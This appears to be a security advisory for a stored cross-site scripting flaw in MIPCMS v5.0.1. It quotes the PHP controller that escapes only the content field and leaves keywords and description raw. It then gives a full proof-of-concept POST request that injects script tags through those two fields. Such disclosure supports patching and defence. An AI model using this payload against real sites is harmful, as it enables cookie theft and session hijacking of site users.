Stored Cross-Scripting Vulnerability Vulnerability in MIPCMS v5.0.1

[Q1ngShan]

This is a stored XSS which allows attacker to insert javascript code into database. When user see the message, attacker is able to steal user's cookie.
Filename /app/widget/controller/ApiAdminWidgetPages.php
Code

public function itemAdd()
    {
        $title = input('post.title');
        $url_name = input('post.url_name');
        $template = input('post.template');
        $content = input('post.content');
        $keywords = input('post.keywords');
        $description = input('post.description');
        if (!$title) {
          return jsonError('请输入名称');
        }
        if (!$url_name) {
          return jsonError('请输入别名');
        }
        $itemInfo = db('WidgetPages')->where('title',$title)->find();
        if ($itemInfo) {
          return jsonError('名称已存在，请重新输入');
        }
        $itemInfo = db('WidgetPages')->where('url_name',$url_name)->find();
        if ($itemInfo) {
          return jsonError('别名已存在，请重新输入');
        }
        db('WidgetPages')->insert(array(
            'id' => uuid(),
            'title' => $title,
            'url_name' => $url_name,
            'template' => $template,
            'keywords' => $keywords,
            'description' => $description,
            'content' => htmlspecialchars($content),
        ));
        return jsonSuccess('成功');
    }

The location of the vulnerability appears in the parameters keywords and description.
**POC_*:

POST /index.php?s=/widget/ApiAdminWidgetPages/itemAdd HTTP/1.1
Host: qing.com
Content-Length: 208
Accept: application/json, text/plain, */*
Origin: http://qing.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
dataId: 
Content-Type: application/json;charset=UTF-8
Referer: http://qing.com/index.php?s=/admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=af90qhjsiusodrq36a86dgunr0
Connection: close

{"title":"aa","url_name":"a","template":"page","content":"<p><span style=\"\">asdasd</span><br></p>","keywords":"\">aa<script>alert('test');</script>","description":"\">aa<script>alert('test');</script>"}